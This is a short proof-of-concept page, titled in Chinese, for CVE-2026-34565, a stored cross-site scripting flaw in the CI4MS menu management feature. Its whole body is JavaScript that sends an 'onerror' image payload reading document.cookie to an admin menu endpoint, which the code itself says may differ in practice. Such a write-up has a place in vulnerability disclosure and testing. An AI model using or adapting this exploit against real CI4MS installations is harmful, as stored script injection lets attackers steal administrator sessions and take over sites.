CVE-2026-34565 CI4MS存储型XSS漏洞

// Proof of Concept for CVE-2026-34565 (Stored XSS in CI4MS) // Target: Menu Management functionality // Malicious payload to be injected into the post data var payload = '<img src=x onerror=alert(document.cookie)>'; // Simulating the request to add a post to the navigation menu // Note: Actual endpoint and parameter names may vary based on CI4MS routing var xhr = new XMLHttpRequest(); xhr.open("POST", "/admin/menu/add", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); // Sending the payload within the parameter responsible for post selection/display var params = "post_title=" + encodeURIComponent(payload) + "&menu_location=main"; xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { console.log("Payload injected successfully."); } }; xhr.send(params);